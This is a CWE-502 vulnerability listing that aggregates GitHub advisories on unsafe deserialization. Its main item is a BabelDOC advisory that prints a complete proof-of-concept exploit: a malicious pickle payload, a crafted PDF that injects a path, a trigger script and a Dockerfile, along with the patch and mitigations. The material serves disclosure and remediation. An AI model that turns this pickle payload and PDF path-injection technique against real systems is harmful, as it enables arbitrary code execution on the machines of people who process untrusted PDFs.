Common Weakness Enumeration

CWE-502

Allowed

Deserialization of Untrusted Data

Abstraction: Base · Status: Draft

The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.

4802 vulnerabilities reference this CWE, most recent first.

GHSA-M828-2522-P88V

Vulnerability from github – Published: 2025-09-05 15:31 – Updated: 2026-04-01 18:36
VLAI
Details

Deserialization of Untrusted Data vulnerability in aThemeArt Translations eDS Responsive Menu allows Object Injection. This issue affects eDS Responsive Menu: from n/a through 1.2.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-58839"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-05T14:15:57Z",
    "severity": "HIGH"
  },
  "details": "Deserialization of Untrusted Data vulnerability in aThemeArt Translations eDS Responsive Menu allows Object Injection. This issue affects eDS Responsive Menu: from n/a through 1.2.",
  "id": "GHSA-m828-2522-p88v",
  "modified": "2026-04-01T18:36:05Z",
  "published": "2025-09-05T15:31:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58839"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/eds-responsive-menu/vulnerability/wordpress-eds-responsive-menu-plugin-1-2-php-object-injection-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M828-VXCR-42C8

Vulnerability from github – Published: 2026-03-05 06:30 – Updated: 2026-03-09 18:31
VLAI
Details

Deserialization of Untrusted Data vulnerability in AncoraThemes Handyman handyman-services allows Object Injection.This issue affects Handyman: from n/a through <= 1.4.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-22451"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-05T06:16:19Z",
    "severity": "CRITICAL"
  },
  "details": "Deserialization of Untrusted Data vulnerability in AncoraThemes Handyman handyman-services allows Object Injection.This issue affects Handyman: from n/a through \u003c= 1.4.",
  "id": "GHSA-m828-vxcr-42c8",
  "modified": "2026-03-09T18:31:37Z",
  "published": "2026-03-05T06:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22451"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Theme/handyman-services/vulnerability/wordpress-handyman-theme-1-4-php-object-injection-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M87F-9FVV-2MGG

Vulnerability from github – Published: 2021-09-13 20:05 – Updated: 2024-10-09 21:00
VLAI
Summary
Deserialization of Untrusted Data in parlai
Details

Impact

Due to use of unsafe YAML deserialization logic, an attacker with the ability to modify local YAML configuration files could provide malicious input, resulting in remote code execution or similar risks.

Patches

The issue can be patched by upgrading to v1.1.0 or later. It can also be patched by replacing YAML deserialization with equivalent safe_load calls.

References

  • https://github.com/facebookresearch/ParlAI/commit/507d066ef432ea27d3e201da08009872a2f37725
  • https://github.com/facebookresearch/ParlAI/commit/4374fa2aba383db6526ab36e939eb1cf8ef99879
  • https://anon-artist.github.io/blogs/blog3.html
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "parlai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-39207"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-09-13T19:10:21Z",
    "nvd_published_at": "2021-09-10T23:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nDue to use of unsafe YAML deserialization logic, an attacker with the ability to modify local YAML configuration files could provide malicious input, resulting in remote code execution or similar risks.\n\n### Patches\nThe issue can be patched by upgrading to v1.1.0 or later. It can also be patched by replacing YAML deserialization with equivalent safe_load calls.\n\n### References\n\n- https://github.com/facebookresearch/ParlAI/commit/507d066ef432ea27d3e201da08009872a2f37725\n- https://github.com/facebookresearch/ParlAI/commit/4374fa2aba383db6526ab36e939eb1cf8ef99879\n- https://anon-artist.github.io/blogs/blog3.html",
  "id": "GHSA-m87f-9fvv-2mgg",
  "modified": "2024-10-09T21:00:01Z",
  "published": "2021-09-13T20:05:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/facebookresearch/ParlAI/security/advisories/GHSA-m87f-9fvv-2mgg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39207"
    },
    {
      "type": "WEB",
      "url": "https://github.com/facebookresearch/ParlAI/commit/4374fa2aba383db6526ab36e939eb1cf8ef99879"
    },
    {
      "type": "WEB",
      "url": "https://github.com/facebookresearch/ParlAI/commit/507d066ef432ea27d3e201da08009872a2f37725"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-mwgj-7x7j-6966"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/facebookresearch/ParlAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/facebookresearch/ParlAI/releases/tag/v1.1.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/parlai/PYSEC-2021-330.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/parlai/PYSEC-2021-334.yaml"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/164136/Facebook-ParlAI-1.0.0-Code-Execution-Deserialization.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Deserialization of Untrusted Data in parlai"
}

GHSA-M8GF-V64P-GFMG

Vulnerability from github – Published: 2026-07-10 19:32 – Updated: 2026-07-10 19:32
VLAI
Summary
BabelDOC: Arbitrary Code Execution via CMap Pickle Deserialization in babeldoc/pdfminer/cmapdb.py
Details

Arbitrary Code Execution via CMap Pickle Deserialization in babeldoc/pdfminer/cmapdb.py

Summary

BabelDOC's vendored PDF parser (babeldoc/pdfminer/cmapdb.py) deserializes untrusted pickle data when loading CMap files. The _load_data() method strips only NUL bytes from a PDF-controlled CMap name, then passes it directly to os.path.join() and pickle.loads(). Because Python's os.path.join() discards all preceding path components when it encounters an absolute path segment, an attacker who embeds a hex-encoded absolute path in a crafted PDF's /Encoding name (e.g., /#2Ftmp#2Fattacker#2Fevil) can redirect deserialization to any attacker-writable .pickle.gz file on the local system. Processing such a PDF results in arbitrary Python code execution with the privileges of the BabelDOC process.

Details

The vulnerable function is CMapDB._load_data() at babeldoc/pdfminer/cmapdb.py:232–245:

@classmethod
def _load_data(cls, name: str) -> Any:
    name = name.replace("\0", "")          # line 233 — only NUL is stripped
    filename = "%s.pickle.gz" % name       # line 234 — attacker-controlled string
    ...
    for directory in cmap_paths:
        path = os.path.join(directory, filename)   # line 241 — no realpath/canonical check
        if os.path.exists(path):
            gzfile = gzip.open(path)
            try:
                return type(str(name), (), pickle.loads(gzfile.read()))  # line 245 — unconditional pickle

Path injection via PDF name hex-encoding. The PDF specification allows name objects to encode arbitrary bytes as #xx. The pdfminer literal-name parser (psparser._parse_literal_hex) decodes these sequences before handing the string to higher layers. Consequently, the PDF literal /#2Ftmp#2Fattacker#2Fevil is decoded to the Python string /tmp/attacker/evil.

Python os.path.join() absolute-path override. When the decoded name starts with / (i.e., it is an absolute path), Python's os.path.join(directory, name + ".pickle.gz") ignores directory entirely and returns the absolute path unchanged. The trusted cmap_paths directories (/usr/share/pdfminer/, the package's own cmap/ folder) are therefore completely bypassed.

Data flow from PDF to sink:

  1. babeldoc/main.py:611–622 — CLI accepts a PDF path; only existence and .pdf suffix are checked.
  2. babeldoc/main.py:678–679 — path stored in TranslationConfig(input_file=file).
  3. babeldoc/format/pdf/high_level.py:472–488translation_config.input_file enters the translate pipeline.
  4. babeldoc/format/pdf/high_level.py:805–848 — PDF saved to temp_pdf_path and parsed with parse_prepared_pdf_with_new_parser_to_legacy_ir.
  5. babeldoc/format/pdf/new_parser/native_parse.py:60–70 — prepared pages loaded and interpreted.
  6. babeldoc/format/pdf/new_parser/pymupdf_prepared_page_access.py:25–34 — PyMuPDF opens the PDF and builds page resources.
  7. babeldoc/format/pdf/new_parser/prepared_resource_builder.py:84–94 — font resources converted to PreparedFontSpec.
  8. babeldoc/format/pdf/new_parser/active_font_resource_runtime.py:21–35 — page resource bundle resolves root font map.
  9. babeldoc/format/pdf/new_parser/active_font_runtime.py:79–87 — each font spec projected and passed to font_factory.create_font.
  10. babeldoc/format/pdf/new_parser/active_direct_font_backend.py:291–292, 491–493 — CID fonts call build_cid_cmap(spec, literal_name=literal_name).
  11. babeldoc/format/pdf/new_parser/runtime/cid_cmap_runtime.py:52–77 — PDF-controlled /Encoding/CMapName normalized and passed to CMapDB.get_cmap. _normalize_cmap_name() removes only a single leading /; all other path characters pass through.
  12. babeldoc/pdfminer/cmapdb.py:233–245sink: NUL-stripped name used verbatim to construct the path; file opened with gzip and deserialized with pickle.loads().

Sanitization gaps:

  • name.replace("\0", "") removes only the NUL byte; .., /, \, and hex-decoded path separators are unaffected.
  • There is no os.path.realpath(), os.path.abspath(), or os.path.commonpath() containment check before the file is opened.
  • There is no allowlist of known CMap names nor any integrity verification of the pickle data.

Recommended patch (babeldoc/pdfminer/cmapdb.py):

--- a/babeldoc/pdfminer/cmapdb.py
+++ b/babeldoc/pdfminer/cmapdb.py
@@
         cmap_paths = (
             os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
             os.path.join(os.path.dirname(__file__), "cmap"),
         )
         for directory in cmap_paths:
-            path = os.path.join(directory, filename)
+            base_dir = os.path.realpath(directory)
+            path = os.path.realpath(os.path.join(base_dir, filename))
+            try:
+                if os.path.commonpath([base_dir, path]) != base_dir:
+                    continue
+            except ValueError:
+                continue
             if os.path.exists(path):
                 gzfile = gzip.open(path)

A more complete fix replaces the pickle-backed CMap loader with a signed or static data format (e.g., JSON or generated Python modules) that does not carry executable code.

PoC

Environment setup (Docker — recommended for isolation):

# From the repository root
docker build -t vuln-001-babeldoc-cmap -f vuln-001/Dockerfile .
docker run --rm vuln-001-babeldoc-cmap

Manual setup (local venv):

python3 -m venv /tmp/babeldoc-poc-venv
source /tmp/babeldoc-poc-venv/bin/activate
pip install freetype-py==2.5.1 charset-normalizer cryptography
export PYTHONPATH=/path/to/BabelDOC
python3 poc.py

PoC script (poc.py) — key steps:

import gzip, pathlib, pickle, sys

CMAP_STAGING_DIR = pathlib.Path("/tmp/babeldoc-cmap-poc")
MALICIOUS_PICKLE = CMAP_STAGING_DIR / "malicious.pickle.gz"
MALICIOUS_PDF    = CMAP_STAGING_DIR / "malicious.pdf"
PROOF_FILE       = pathlib.Path("/tmp/babeldoc_cmap_rce_proof.txt")

# Step 1 — write the malicious pickle to a world-writable location
class MaliciousPayload:
    def __reduce__(self):
        return (pathlib.Path(str(PROOF_FILE)).write_text,
                ("RCE_CONFIRMED: pickle.loads executed attacker payload",))

CMAP_STAGING_DIR.mkdir(parents=True, exist_ok=True)
with gzip.open(MALICIOUS_PICKLE, "wb") as fh:
    pickle.dump(MaliciousPayload(), fh)

# Step 2 — craft a PDF whose /Encoding name hex-encodes the absolute path
# "/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious" decodes to "/tmp/babeldoc-cmap-poc/malicious"
encoding_name = b"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious"

# ... (minimal PDF structure with a Type0 CID font referencing encoding_name) ...
# Full source in poc.py

# Step 3 — trigger via the pdfminer high-level API
from babeldoc.pdfminer.high_level import extract_text
try:
    extract_text(str(MALICIOUS_PDF))
except TypeError:
    pass  # expected: type(name, (), <int>) fails after write_text returns int

# Step 4 — verify
assert PROOF_FILE.exists(), "FAIL: proof file not created"
print(PROOF_FILE.read_text())  # => "RCE_CONFIRMED: pickle.loads executed attacker payload"

Phase 2 dynamic reproduction output (Docker container):

[+] Malicious pickle written: /tmp/babeldoc-cmap-poc/malicious.pickle.gz
[+] Malicious PDF written: /tmp/babeldoc-cmap-poc/malicious.pdf
[*] Calling extract_text(/tmp/babeldoc-cmap-poc/malicious.pdf) ...
[*] extract_text raised TypeError: type.__new__() argument 3 must be dict, not int
[*] This exception is expected; the payload ran before it.

============================================================
RESULT: PASS
Proof file: /tmp/babeldoc_cmap_rce_proof.txt
Content:    'RCE_CONFIRMED: pickle.loads executed attacker payload'
============================================================

The TypeError is benign and expected: write_text() returns an integer, and the subsequent type(name, (), <int>) call in _load_data() raises before reaching further code. The payload already executed successfully at that point.

Attack path summary:

PDF /Encoding  /#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious
  -> pdfminer hex-decodes #2F -> '/'
  -> literal_name = "/tmp/babeldoc-cmap-poc/malicious"
  -> CMapDB._load_data("/tmp/babeldoc-cmap-poc/malicious")
  -> filename = "/tmp/babeldoc-cmap-poc/malicious.pickle.gz"   # absolute path!
  -> os.path.join("/usr/share/pdfminer/", "/tmp/.../malicious.pickle.gz")
     == "/tmp/babeldoc-cmap-poc/malicious.pickle.gz"           # first arg discarded
  -> gzip.open() + pickle.loads() -> arbitrary code execution

Impact

This is an Arbitrary Code Execution vulnerability triggered by processing a crafted PDF file. Any user or automated pipeline that runs BabelDOC against untrusted PDF input is at risk.

Who is impacted:

  • End users who open a malicious PDF with the babeldoc CLI or any application embedding BabelDOC's PDF translation/text-extraction functionality.
  • Automated document processing pipelines (CI translation services, document management systems, cloud PDF processors) that ingest user-supplied PDFs without sandboxing.

Attack prerequisites:

  1. The attacker must be able to place a .pickle.gz file at a predictable path on the local filesystem (e.g., /tmp/), or exploit a shared world-writable directory. On Windows systems, UNC/WebDAV paths may provide a remote staging alternative.
  2. The victim must process the crafted PDF through BabelDOC. No elevated privileges or special configuration is required — default PDF processing is the vulnerable code path.

Scope: The attack crosses security boundaries (e.g., a lower-privileged attacker influencing files processed by a different user's process), justifying the Changed scope in the CVSS vector and potential lateral movement between users on multi-user systems.

Consequences: Full code execution with the victim process's privileges — confidentiality breach, data modification, denial of service, and potential privilege escalation depending on the deployment context.

Reproduction artifacts

Dockerfile

FROM python:3.11-slim

# Install system-level dependencies for freetype
RUN apt-get update && apt-get install -y --no-install-recommends \
    libfreetype6 \
    && rm -rf /var/lib/apt/lists/*

# Install minimal Python dependencies required by babeldoc/pdfminer
RUN pip install --no-cache-dir \
    freetype-py==2.5.1 \
    charset-normalizer \
    cryptography

# Copy the BabelDOC repository (only babeldoc package directory is needed)
COPY repo/babeldoc /app/babeldoc

# Copy the PoC script
COPY vuln-001/poc.py /app/poc.py

WORKDIR /app

# PYTHONPATH exposes babeldoc package without a full pip install
ENV PYTHONPATH=/app

CMD ["python3", "poc.py"]

poc.py

"""
PoC: CMap Pickle Deserialization via Absolute Path Injection
CVE Candidate: VULN-001 in funstory-ai/BabelDOC v0.6.2

Vulnerability: babeldoc/pdfminer/cmapdb.py _load_data() only strips NUL bytes
from the CMap name before building a filesystem path.  A PDF name object
using #xx hex-encoding can inject absolute path characters (/) so that
os.path.join() discards the trusted cmap directory entirely, opening and
unpickling an attacker-placed .pickle.gz file.

Attack flow:
  PDF /Encoding  /#2Ftmp#2F...#2Fmalicious
    -> pdfminer hex-decodes #2F -> '/'
    -> literal_name() returns "/tmp/.../malicious"
    -> _load_data("/tmp/.../malicious")
    -> filename = "/tmp/.../malicious.pickle.gz"   (absolute path!)
    -> os.path.join("/usr/share/pdfminer/", "/tmp/.../malicious.pickle.gz")
       == "/tmp/.../malicious.pickle.gz"            (Python discards first arg)
    -> gzip.open() + pickle.loads() => arbitrary code execution
"""

import gzip
import os
import pathlib
import pickle
import sys

# ---------------------------------------------------------------------------
# Configuration
# ---------------------------------------------------------------------------
CMAP_STAGING_DIR = pathlib.Path("/tmp/babeldoc-cmap-poc")
MALICIOUS_PICKLE = CMAP_STAGING_DIR / "malicious.pickle.gz"
MALICIOUS_PDF = CMAP_STAGING_DIR / "malicious.pdf"
PROOF_FILE = pathlib.Path("/tmp/babeldoc_cmap_rce_proof.txt")


# ---------------------------------------------------------------------------
# Step 1: Build the malicious pickle payload
# ---------------------------------------------------------------------------
class MaliciousPayload:
    """Pickle payload that writes a proof file on deserialization."""

    def __reduce__(self):
        # Write proof file when unpickled; any writable command works here.
        return (
            pathlib.Path(str(PROOF_FILE)).write_text,
            ("RCE_CONFIRMED: pickle.loads executed attacker payload",),
        )


def create_malicious_pickle():
    CMAP_STAGING_DIR.mkdir(parents=True, exist_ok=True)
    PROOF_FILE.unlink(missing_ok=True)

    with gzip.open(MALICIOUS_PICKLE, "wb") as fh:
        pickle.dump(MaliciousPayload(), fh)

    print(f"[+] Malicious pickle written: {MALICIOUS_PICKLE}")


# ---------------------------------------------------------------------------
# Step 2: Build the malicious PDF
# ---------------------------------------------------------------------------
def create_malicious_pdf():
    """
    Craft a minimal PDF with a Type0 CID font whose /Encoding name is a
    PDF literal that hex-encodes an absolute Unix path.

    PDF name syntax: /<characters>  where #xx is hex escape for byte 0xxx.
    "/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious" decodes to the name value
    "/tmp/babeldoc-cmap-poc/malicious" (starts with '/').

    When passed through babeldoc/pdfminer:
      literal_name(PSLiteral) -> "/tmp/babeldoc-cmap-poc/malicious"
      _load_data()  -> filename = "/tmp/babeldoc-cmap-poc/malicious.pickle.gz"
      os.path.join("/usr/share/pdfminer/", "/tmp/.../malicious.pickle.gz")
        => "/tmp/babeldoc-cmap-poc/malicious.pickle.gz"  (absolute wins!)
    """
    # Hex-encoded encoding name: /tmp/babeldoc-cmap-poc/malicious
    # '#2F' = '/' in PDF name hex encoding
    encoding_name = b"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious"

    content_stream = b"BT\n/F1 12 Tf\n100 700 Td\n(Malicious PDF) Tj\nET\n"

    # PDF objects (1-indexed)
    objs = [
        # 1: Catalog
        b"<< /Type /Catalog /Pages 2 0 R >>",
        # 2: Pages
        b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
        # 3: Page - references content stream (4) and font (5)
        b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]"
        b" /Contents 4 0 R /Resources << /Font << /F1 5 0 R >> >> >>",
        # 4: Content stream
        b"<< /Length %d >>\nstream\n" % len(content_stream)
        + content_stream
        + b"\nendstream",
        # 5: Type0 font with malicious /Encoding name
        b"<< /Type /Font /Subtype /Type0 /BaseFont /MalFont"
        b" /Encoding " + encoding_name + b""
        b" /DescendantFonts [6 0 R] >>",
        # 6: CIDFontType2 descendant
        b"<< /Type /Font /Subtype /CIDFontType2 /BaseFont /MalFont"
        b" /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity)"
        b" /Supplement 0 >> /FontDescriptor 7 0 R >>",
        # 7: FontDescriptor (minimal)
        b"<< /Type /FontDescriptor /FontName /MalFont /Flags 4"
        b" /FontBBox [-1000 -1000 1000 1000] /ItalicAngle 0"
        b" /Ascent 1000 /Descent -200 /CapHeight 800 /StemV 80 >>",
    ]

    buf = bytearray(b"%PDF-1.4\n")
    offsets = []
    for i, obj_data in enumerate(objs, 1):
        offsets.append(len(buf))
        buf += f"{i} 0 obj\n".encode() + obj_data + b"\nendobj\n"

    xref_offset = len(buf)
    buf += f"xref\n0 {len(objs) + 1}\n0000000000 65535 f \n".encode()
    for off in offsets:
        buf += f"{off:010d} 00000 n \n".encode()
    buf += (
        f"trailer\n<< /Size {len(objs) + 1} /Root 1 0 R >>\n"
        f"startxref\n{xref_offset}\n%%EOF\n"
    ).encode()

    MALICIOUS_PDF.write_bytes(bytes(buf))
    print(f"[+] Malicious PDF written: {MALICIOUS_PDF}")


# ---------------------------------------------------------------------------
# Step 3: Trigger the vulnerability via babeldoc pdfminer extract_text
# ---------------------------------------------------------------------------
def trigger_exploit():
    from babeldoc.pdfminer.high_level import extract_text

    print(f"[*] Calling extract_text({MALICIOUS_PDF}) ...")
    try:
        result = extract_text(str(MALICIOUS_PDF))
        print(f"[+] extract_text completed, returned {len(result)} chars")
    except Exception as exc:
        # A TypeError is expected: after pickle.loads() returns the result of
        # write_text() (an int), the code tries type(name, (), <int>) which
        # raises TypeError.  The write has already happened at this point.
        print(f"[*] extract_text raised {type(exc).__name__}: {exc}")
        print("[*] This exception is expected; the payload ran before it.")


# ---------------------------------------------------------------------------
# Step 4: Verify RCE evidence
# ---------------------------------------------------------------------------
def verify_rce():
    if PROOF_FILE.exists():
        content = PROOF_FILE.read_text()
        print()
        print("=" * 60)
        print("RESULT: PASS")
        print(f"Proof file: {PROOF_FILE}")
        print(f"Content:    {content!r}")
        print("=" * 60)
        return True
    else:
        print()
        print("=" * 60)
        print("RESULT: FAIL")
        print(f"Proof file {PROOF_FILE} was NOT created.")
        print("=" * 60)
        return False


# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main():
    print("=== VULN-001 PoC: CMap Pickle Deserialization via Path Injection ===")
    print(f"Python: {sys.version}")
    print()

    create_malicious_pickle()
    create_malicious_pdf()
    trigger_exploit()
    success = verify_rce()

    sys.exit(0 if success else 1)


if __name__ == "__main__":
    main()

Notes from the maintainer

CVSS revision note

The CVSS v3.1 vector has been revised from the reporter's initial CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H (8.6) to CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8) on maintainer review. The severity rating remains High.

One metric is revised; the remaining metrics (AV:L, AC:L, PR:N, UI:R, C:H/I:H/A:H) are unchanged from the reporter's assessment.

  • Scope: Changed → Unchanged. BabelDOC is a PDF-processing library running with the caller process's operating-system permissions; it does not enforce a separate security authority over OS files, users, or downstream services. The malicious pickle payload executes in that same BabelDOC Python process. Under CVSS v3.1, this is Scope Unchanged: the vulnerable component and the impacted component are governed by the same authority. No sandbox, VM, browser-client, or application-defined authorization boundary is crossed.

The remaining metrics are retained intentionally:

  • AV:L, PR:N, UI:R: the attack requires local presence of attacker-influenced data (consistent with AV:L), does not require authenticated access to BabelDOC itself (PR:N), and depends on a user actually processing the crafted PDF (UI:R).
  • AC:L: kept aligned with industry practice for CWE-502 deserialization issues; once the supporting filesystem condition exists, the same-process exploitation path is consistent and repeatable.
  • C:H, I:H, A:H: full code-execution impact within the BabelDOC process.

We thank EQSTLab for the detailed report and PoC; this revision is limited to CVSS metric interpretation, and the issue remains High severity when exploitable.

Full sink coverage (2 independently exploitable PDF paths + 2 defense-in-depth call sites)

The original report covers entry point (1): the Encoding / CMapName font dictionary path, with absolute-path injection. Local review during patch preparation identified that the same _load_data sink is reached from one additional independently exploitable PDF-controlled path and two prefixed call sites covered at the sink for defense in depth:

  1. Encoding / CMapName references in a font dictionary (reported entry; absolute-path injection per the upstream report, .. relative traversal also exploitable)
  2. The PostScript usecmap operator inside an embedded CMap stream (independently exploitable via .. relative traversal; not in the original report)
  3. CIDSystemInfo.Ordering flowing through get_unicode_map in the legacy pdfminer pipeline
  4. CIDSystemInfo.Ordering flowing through get_unicode_map in the active new-parser pipeline

Call sites (3) and (4) were not reproduced as standalone PDF-only exploit paths in v0.6.x. The get_unicode_map caller prepends a to-unicode- prefix to the PDF-controlled name, which breaks absolute-path injection and means .. traversal would require an additional crafted directory layout such as a to-unicode-* component under a CMap search location. The 0.6.3 sink-level fix still covers these call sites, so future removal of the prefix or a future unprefixed caller remains blocked.

Fix design

The runtime CMap loader in 0.6.3 refuses to deserialize any file that does not simultaneously:

  1. appear in a pinned manifest of bundled CMap filenames (allowlist),
  2. resolve inside the bundled runtime/data/cmap directory after path resolution (containment check), and
  3. byte-for-byte match the manifest's pinned byte size and SHA-256.

The integrity check runs on the compressed on-disk .gz bytes before decompression, so files whose compressed size or SHA-256 differs from the pinned manifest are rejected before gzip or pickle sees them. The legacy CMAP_PATH external search path is removed entirely; only the bundled directory is consulted. The active new-parser pipeline and the vendored pdfminer pipeline share the same verified-load entry point.

Related hardening shipped in 0.6.3

A separate hardening in the same release sanitizes PDF-controlled XObject names before they reach the optional ImageWriter output path, preventing PDF-driven writes outside the configured output directory. This is separate from BabelDOC's default translation pipeline: the optional ImageWriter is not used by default and is only reachable when a third-party caller passes an explicit output_dir. It is included here for completeness.

Risk reduction if you cannot upgrade immediately

These steps reduce known exploit preconditions on pre-0.6.3 versions; they are not equivalent to the 0.6.3 fix.

  • Do not set the CMAP_PATH environment variable when running BabelDOC. 0.6.3 removes this variable entirely; on pre-0.6.3 versions, unsetting it limits the attack surface to the bundled cmap directory under the BabelDOC package.
  • Run BabelDOC under an account that cannot create files in any directory BabelDOC will read CMap data from, including any pre-0.6.3 CMAP_PATH target.
  • Process only PDFs from trusted sources until upgrading.

Maintenance policy

BabelDOC publishes security fixes only in the latest release. We do not publish maintainer-supported backports for older minor, patch, or release lines. For this advisory, the maintainer-supported fixed version is 0.6.3 or later; downstream distributors may carry their own patches, but older BabelDOC releases will not receive a separate upstream backport.

Acknowledgements

We thank EQSTLab for the detailed private report, complete reproduction material, and coordinated-disclosure cooperation that allowed this fix to be prepared and released before public disclosure.

Timeline

  • 2026-06-03 04:34 UTC: EQSTLab opens the private advisory draft and notifies maintainers
  • 2026-06-03 09:21 UTC: BabelDOC 0.6.3 released with the fix
  • 2026-06-03 09:50 UTC: this advisory published
  • TBD: CVE identifier assigned (pending GitHub CNA review; GitHub documentation says CVE requests are usually reviewed within 72 hours)

References

  • BabelDOC 0.6.3 release notes: https://github.com/funstory-ai/BabelDOC/blob/main/docs/release-notes/v0.6.3.md
  • CVE: TBD (pending CNA assignment)
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.6.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "BabelDOC"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54071"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-10T19:32:44Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Arbitrary Code Execution via CMap Pickle Deserialization in babeldoc/pdfminer/cmapdb.py\n\n### Summary\n\nBabelDOC\u0027s vendored PDF parser (`babeldoc/pdfminer/cmapdb.py`) deserializes untrusted pickle data when loading CMap files. The `_load_data()` method strips only NUL bytes from a PDF-controlled CMap name, then passes it directly to `os.path.join()` and `pickle.loads()`. Because Python\u0027s `os.path.join()` discards all preceding path components when it encounters an absolute path segment, an attacker who embeds a hex-encoded absolute path in a crafted PDF\u0027s `/Encoding` name (e.g., `/#2Ftmp#2Fattacker#2Fevil`) can redirect deserialization to any attacker-writable `.pickle.gz` file on the local system. Processing such a PDF results in arbitrary Python code execution with the privileges of the BabelDOC process.\n\n### Details\n\nThe vulnerable function is `CMapDB._load_data()` at `babeldoc/pdfminer/cmapdb.py:232\u2013245`:\n\n```python\n@classmethod\ndef _load_data(cls, name: str) -\u003e Any:\n    name = name.replace(\"\\0\", \"\")          # line 233 \u2014 only NUL is stripped\n    filename = \"%s.pickle.gz\" % name       # line 234 \u2014 attacker-controlled string\n    ...\n    for directory in cmap_paths:\n        path = os.path.join(directory, filename)   # line 241 \u2014 no realpath/canonical check\n        if os.path.exists(path):\n            gzfile = gzip.open(path)\n            try:\n                return type(str(name), (), pickle.loads(gzfile.read()))  # line 245 \u2014 unconditional pickle\n```\n\n**Path injection via PDF name hex-encoding.** The PDF specification allows name objects to encode arbitrary bytes as `#xx`. The pdfminer literal-name parser (`psparser._parse_literal_hex`) decodes these sequences before handing the string to higher layers. Consequently, the PDF literal `/#2Ftmp#2Fattacker#2Fevil` is decoded to the Python string `/tmp/attacker/evil`.\n\n**Python `os.path.join()` absolute-path override.** When the decoded name starts with `/` (i.e., it is an absolute path), Python\u0027s `os.path.join(directory, name + \".pickle.gz\")` ignores `directory` entirely and returns the absolute path unchanged. The trusted `cmap_paths` directories (`/usr/share/pdfminer/`, the package\u0027s own `cmap/` folder) are therefore completely bypassed.\n\n**Data flow from PDF to sink:**\n\n1. `babeldoc/main.py:611\u2013622` \u2014 CLI accepts a PDF path; only existence and `.pdf` suffix are checked.\n2. `babeldoc/main.py:678\u2013679` \u2014 path stored in `TranslationConfig(input_file=file)`.\n3. `babeldoc/format/pdf/high_level.py:472\u2013488` \u2014 `translation_config.input_file` enters the translate pipeline.\n4. `babeldoc/format/pdf/high_level.py:805\u2013848` \u2014 PDF saved to `temp_pdf_path` and parsed with `parse_prepared_pdf_with_new_parser_to_legacy_ir`.\n5. `babeldoc/format/pdf/new_parser/native_parse.py:60\u201370` \u2014 prepared pages loaded and interpreted.\n6. `babeldoc/format/pdf/new_parser/pymupdf_prepared_page_access.py:25\u201334` \u2014 PyMuPDF opens the PDF and builds page resources.\n7. 